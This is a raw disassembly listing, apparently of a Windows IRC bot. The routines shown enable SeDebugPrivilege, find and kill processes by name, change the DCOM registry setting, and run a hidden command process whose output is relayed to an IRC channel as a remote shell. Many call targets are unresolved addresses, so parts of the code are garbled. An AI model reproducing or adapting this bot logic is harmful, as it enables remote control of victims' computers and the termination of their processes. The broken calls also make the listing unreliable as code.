loc_419A19:				; CODE XREF: sub_4199AC+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A23:				; CODE XREF: sub_4199AC+1Aj
		sub	eax, 7Ch
		jz	short loc_419A50
		sub	eax, 7C8h
		jz	short loc_419A49
		dec	eax
		jz	short loc_419A3F
		dec	eax
		jnz	short loc_419AAD
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A3F:				; CODE XREF: sub_4199AC+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_419ACE
; ---------------------------------------------------------------------------


loc_419A49:				; CODE XREF: sub_4199AC+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A50:				; CODE XREF: sub_4199AC+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A57:				; CODE XREF: sub_4199AC+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A5E:				; CODE XREF: sub_4199AC+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_419A97
		jz	short loc_419A90
		sub	eax, 8ADh
		jz	short loc_419AC2
		dec	eax
		dec	eax
		jz	short loc_419A89
		dec	eax
		jz	short loc_419A82
		dec	eax
		dec	eax
		jnz	short loc_419AAD
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A82:				; CODE XREF: sub_4199AC+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A89:				; CODE XREF: sub_4199AC+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A90:				; CODE XREF: sub_4199AC+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419A97:				; CODE XREF: sub_4199AC+B9j
		sub	eax, 8CAh
		jz	short loc_419AC9
		sub	eax, 17h
		jz	short loc_419AC2
		sub	eax, 25h
		jz	short loc_419ABB
		sub	eax, 29h
		jz	short loc_419AB4


loc_419AAD:				; CODE XREF: sub_4199AC+35j
					; sub_4199AC+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419AB4:				; CODE XREF: sub_4199AC+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419ABB:				; CODE XREF: sub_4199AC+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419AC2:				; CODE XREF: sub_4199AC+C2j
					; sub_4199AC+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_419ACE
; ---------------------------------------------------------------------------


loc_419AC9:				; CODE XREF: sub_4199AC+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_419ACE:				; CODE XREF: sub_4199AC+40j
					; sub_4199AC+4Aj ...
		push	offset dword_4DB5E0
		call	sub_41C266
		pop	ecx
		mov	eax, offset dword_4DB5E0
		pop	ecx
		retn
sub_4199AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419AE0	proc near		; CODE XREF: sub_401ACD+467Fp

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41E0D4
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		nop
		call	near ptr 26C0000h
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41E0D4
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41E0B7
		add	esp, 10h
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4CB9E4
		test	eax, eax
		jnz	short loc_419B70
		mov	esi, offset dword_4DB3DC
		push	offset unk_43A20C
		push	esi
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_419B99
; ---------------------------------------------------------------------------


loc_419B70:				; CODE XREF: sub_419AE0+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_4199AC
		pop	ecx
		mov	esi, offset dword_4DB3DC
		push	eax
		push	offset dword_43A1E0
		push	esi
		call	sub_41C266
		add	esp, 14h


loc_419B99:				; CODE XREF: sub_419AE0+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419AE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B9E	proc near		; CODE XREF: sub_4172C1+45p
					; sub_4172C1+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		nop
		call	near ptr 27206A8h
		push	eax
		call	dword_4CB9B8
		test	eax, eax
		jnz	short loc_419BBD
		leave
		retn
; ---------------------------------------------------------------------------


loc_419BBD:				; CODE XREF: sub_419B9E+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4CB990
		test	eax, eax
		jz	short loc_419BFB
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_419BE4
		or	[ebp+var_8], 2
		jmp	short loc_419BE8
; ---------------------------------------------------------------------------


loc_419BE4:				; CODE XREF: sub_419B9E+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_419BE8:				; CODE XREF: sub_419B9E+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4CBA40
		mov	esi, eax


loc_419BFB:				; CODE XREF: sub_419B9E+32j
		push	[ebp+var_4]
		nop
		call	near ptr 26608D5h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_419B9E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C09	proc near		; CODE XREF: sub_401ACD+7770p
					; sub_419E38+74p

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4CB9F4, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_419E08
		cmp	dword_4CB9D8, ebx
		jz	loc_419E08
		cmp	dword_4CB8E8, ebx
		jz	loc_419E08
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4CB9F4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_419DFB
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4CB9D8
		mov	esi, dword_427070
		test	eax, eax
		jz	loc_419DF6
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4CB8E8
		test	eax, eax
		jz	loc_419DF6
		mov	edi, dword_42708C
		mov	ebx, 1F0FFFh


loc_419CCD:				; CODE XREF: sub_419C09+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_419D34
		mov	[ebp+var_4], offset off_43A238


loc_419CDB:				; CODE XREF: sub_419C09+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		nop
		call	near ptr 2820000h
		test	eax, eax
		jz	short loc_419D03
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_43A298
		jb	short loc_419CDB
		jmp	loc_419DDC
; ---------------------------------------------------------------------------


loc_419D03:				; CODE XREF: sub_419C09+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_419DDC
		push	0
		push	eax
		call	near ptr 2710A1Ah
		nop
		test	eax, eax
		jnz	loc_419DDC


loc_419D2A:				; CODE XREF: sub_419C09+1B9j
		push	[ebp+var_4]
		call	esi
		jmp	loc_419DDC
; ---------------------------------------------------------------------------


loc_419D34:				; CODE XREF: sub_419C09+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_419DC7
		cmp	[ebp+arg_4], eax
		jz	loc_419DDC
		push	[ebp+var_128]
		push	8
		call	dword_4CB9F4
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_419D87
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4CB894
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_419D8D
		lea	eax, [ebp+var_234]
		jmp	short loc_419D93
; ---------------------------------------------------------------------------


loc_419D87:				; CODE XREF: sub_419C09+15Cj
		push	[ebp+var_128]


loc_419D8D:				; CODE XREF: sub_419C09+174j
		lea	eax, [ebp+var_10C]


loc_419D93:				; CODE XREF: sub_419C09+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h
		jmp	loc_419D2A
; ---------------------------------------------------------------------------


loc_419DC7:				; CODE XREF: sub_419C09+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419E0F


loc_419DDC:				; CODE XREF: sub_419C09+F5j
					; sub_419C09+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4CB8E8
		test	eax, eax
		jnz	loc_419CCD
		xor	ebx, ebx


loc_419DF6:				; CODE XREF: sub_419C09+9Dj
					; sub_419C09+B3j
		push	[ebp+var_8]
		call	esi


loc_419DFB:				; CODE XREF: sub_419C09+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx


loc_419E08:				; CODE XREF: sub_419C09+3Aj
					; sub_419C09+46j ...
		xor	eax, eax


loc_419E0A:				; CODE XREF: sub_419C09+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_419E0F:				; CODE XREF: sub_419C09+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		push	[ebp+var_8]
		mov	edi, eax
		call	esi
		push	0
		push	edi
		nop
		call	near ptr 2710A1Ah
		test	eax, eax
		jnz	short loc_419E33
		push	edi
		call	esi
		jmp	short loc_419E08
; ---------------------------------------------------------------------------


loc_419E33:				; CODE XREF: sub_419C09+223j
		push	1
		pop	eax
		jmp	short loc_419E0A
sub_419C09	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E38	proc near		; DATA XREF: sub_401ACD+2687o

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_43A438
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41C266
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_419E97
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409869
		add	esp, 14h


loc_419E97:				; CODE XREF: sub_419E38+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_419C09
		add	esp, 18h
		test	eax, eax
		jnz	short loc_419EBF
		push	offset unk_43A414
		jmp	short loc_419EC4
; ---------------------------------------------------------------------------


loc_419EBF:				; CODE XREF: sub_419E38+7Ej
		push	offset unk_43A3F0


loc_419EC4:				; CODE XREF: sub_419E38+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41C266
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_419EF7
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409869
		add	esp, 14h


loc_419EF7:				; CODE XREF: sub_419E38+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_415D38
		push	[ebp+var_14]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 26E0000h
		nop
		pop	edi
		pop	esi
sub_419E38	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_419F16	proc near		; CODE XREF: sub_401ACD+7712p
					; sub_40B4F5+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		nop
		call	near ptr 26802EFh
		mov	esi, eax
		test	esi, esi
		jz	short loc_419F48
		push	0
		push	esi
		nop
		call	near ptr 2710A1Ah
		test	eax, eax
		jnz	short loc_419F48
		push	esi
		xor	edi, edi
		nop
		call	near ptr 26608D5h


loc_419F48:				; CODE XREF: sub_419F16+1Aj
					; sub_419F16+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_419F16	endp

; ---------------------------------------------------------------------------
byte_419F4D	db 56h,	33h, 0F6h	; DATA XREF: ___:004015EEo
		dd 5656016Ah, 0E8565656h, 0FFFFFCADh, 0FF18C483h, 43A23435h
		dd 2CE89000h, 0EB02256Fh
		db 0E3h

; =============== S U B	R O U T	I N E =======================================



sub_419F6D	proc near		; CODE XREF: sub_419F9D+2Ap
					; sub_419FD5+7Ep ...
		mov	eax, dword_4DBC48
		push	esi
		mov	esi, dword_427070
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F81
		push	eax
		call	esi


loc_419F81:				; CODE XREF: sub_419F6D+Fj
		mov	eax, dword_4DBC50
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F8E
		push	eax
		call	esi


loc_419F8E:				; CODE XREF: sub_419F6D+1Cj
		mov	eax, dword_4DBC44
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419F9B
		push	eax
		call	esi


loc_419F9B:				; CODE XREF: sub_419F6D+29j
		pop	esi
		retn
sub_419F6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419F9D	proc near		; CODE XREF: sub_401ACD+7475p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41B9C0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4DBC4C
		nop
		call	near ptr 2700000h
		test	eax, eax
		jnz	short loc_419FD0
		call	sub_419F6D
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_419FD0:				; CODE XREF: sub_419F9D+28j
		push	1
		pop	eax
		leave
		retn
sub_419F9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419FD5	proc near		; CODE XREF: sub_41A05C+D3p
					; sub_41A05C+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_43DB88
		push	[ebp+arg_4]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41A018
		push	7D0h
		nop
		call	near ptr 2670E97h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_41A02F
; ---------------------------------------------------------------------------


loc_41A018:				; CODE XREF: sub_419FD5+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_41A02F:				; CODE XREF: sub_419FD5+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		test	eax, eax
		jg	short loc_41A058
		call	sub_419F6D


loc_41A058:				; CODE XREF: sub_419FD5+7Cj
		xor	eax, eax
		leave
		retn
sub_419FD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A05C	proc near		; DATA XREF: sub_41A1B1+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4DBC54


loc_41A074:				; CODE XREF: sub_41A05C+79j
					; sub_41A05C+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4DBC48
		nop
		call	near ptr 2820938h
		test	eax, eax
		jz	loc_41A142
		cmp	[ebp+var_4], edi
		jnz	short loc_41A0D7
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4DBC44
		call	near ptr 28204A5h
		nop
		test	eax, eax
		jz	short loc_41A0CD
		cmp	[ebp+var_8], 103h
		jnz	loc_41A166


loc_41A0CD:				; CODE XREF: sub_41A05C+62j
		push	0Ah
		call	near ptr 2670E97h
		nop
		jmp	short loc_41A074
; ---------------------------------------------------------------------------


loc_41A0D7:				; CODE XREF: sub_41A05C+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_41A0EE


loc_41A0DE:				; CODE XREF: sub_41A05C+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_41A13C
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_41A0DE


loc_41A0EE:				; CODE XREF: sub_41A05C+80j
		mov	[ebp+var_4], esi


loc_41A0F1:				; CODE XREF: sub_41A05C+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4DBC48
		nop
		call	near ptr 26F107Dh
		test	eax, eax
		jz	short loc_41A18E
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4DBC88
		call	sub_419FD5
		add	esp, 0Ch
		jmp	loc_41A074
; ---------------------------------------------------------------------------


loc_41A13C:				; CODE XREF: sub_41A05C+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_41A0F1
; ---------------------------------------------------------------------------


loc_41A142:				; CODE XREF: sub_41A05C+45j
		push	offset unk_43A4C0
		push	ebx
		push	dword_4DBC88
		call	sub_419FD5
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 10h
		push	1
		nop
		call	near ptr 26E0000h


loc_41A166:				; CODE XREF: sub_41A05C+6Bj
		call	sub_419F6D
		push	offset unk_43A498
		push	ebx
		push	dword_4DBC88
		call	sub_419FD5
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26E0000h


loc_41A18E:				; CODE XREF: sub_41A05C+C3j
		push	offset unk_43A468
		push	ebx
		push	dword_4DBC88
		call	sub_419FD5
		push	[ebp+arg_0]
		call	sub_40B6D6
		add	esp, 10h
		push	edi
		call	near ptr 26E0000h
		nop
sub_41A05C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A1B1	proc near		; CODE XREF: sub_401ACD+24AAp

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_419F6D
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset dword_4346E0
		push	esi
		call	dword_4CBA90
		test	eax, eax
		jz	loc_41A2AB
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_427108
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_41A2AB
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_41A2AB
		mov	edi, dword_427104
		push	3
		push	esi
		push	esi
		push	offset dword_4DBC4C
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		call	near ptr 2720000h
		nop
		test	eax, eax
		jz	short loc_41A2AB
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_43DB88
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		nop
		call	near ptr 2660B67h
		test	eax, eax
		jnz	short loc_41A2B3


loc_41A2AB:				; CODE XREF: sub_41A1B1+2Fj
					; sub_41A1B1+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_41A361
; ---------------------------------------------------------------------------


loc_41A2B3:				; CODE XREF: sub_41A1B1+F8j
		push	[ebp+var_4]
		mov	edi, dword_427070
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4DBC48, eax
		mov	eax, [ebp+var_8]
		mov	dword_4DBC50, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4DBC44, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4DBC88, eax
		jz	short loc_41A2ED
		push	[ebp+arg_4]
		jmp	short loc_41A2EE
; ---------------------------------------------------------------------------


loc_41A2ED:				; CODE XREF: sub_41A1B1+135j
		push	ebx


loc_41A2EE:				; CODE XREF: sub_41A1B1+13Aj
		push	offset dword_4DBC54
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_43A524
		call	sub_40B3BA
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43E918[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_41A05C
		push	esi
		push	esi
		nop
		call	near ptr 2680000h
		cmp	eax, esi
		mov	dword_43E924[edi], eax
		jnz	short loc_41A35F
		call	near ptr 2680972h
		nop
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_43A4F0
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_41A35F:				; CODE XREF: sub_41A1B1+185j
		xor	eax, eax


loc_41A361:				; CODE XREF: sub_41A1B1+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A1B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A366	proc near		; DATA XREF: sub_401ACD+2DC8o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_41A3AD
		call	sub_41A3C6
		jmp	short loc_41A3B2
; ---------------------------------------------------------------------------


loc_41A3AD:				; CODE XREF: sub_41A366+3Ej
		call	sub_41A6EA


loc_41A3B2:				; CODE XREF: sub_41A366+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B6D6
		pop	ecx
		push	0
		nop
		call	near ptr 26E0000h
sub_41A366	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A3C6	proc near		; CODE XREF: sub_41A366+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4CBAA4, edi
		jnz	loc_41A4F8
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CBA44
		test	eax, eax
		jnz	short loc_41A451
		mov	ax, word_439298
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CB9F8
		test	eax, eax
		jz	short loc_41A433
		push	offset dword_43A7C0
		jmp	short loc_41A438
; ---------------------------------------------------------------------------


loc_41A433:				; CODE XREF: sub_41A3C6+64j
		push	offset dword_43A7A0


loc_41A438:				; CODE XREF: sub_41A3C6+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9B0
		jmp	short loc_41A464
; ---------------------------------------------------------------------------


loc_41A451:				; CODE XREF: sub_41A3C6+36j
		lea	eax, [ebp+var_214]
		push	offset dword_43A770
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A464:				; CODE XREF: sub_41A3C6+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A483
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
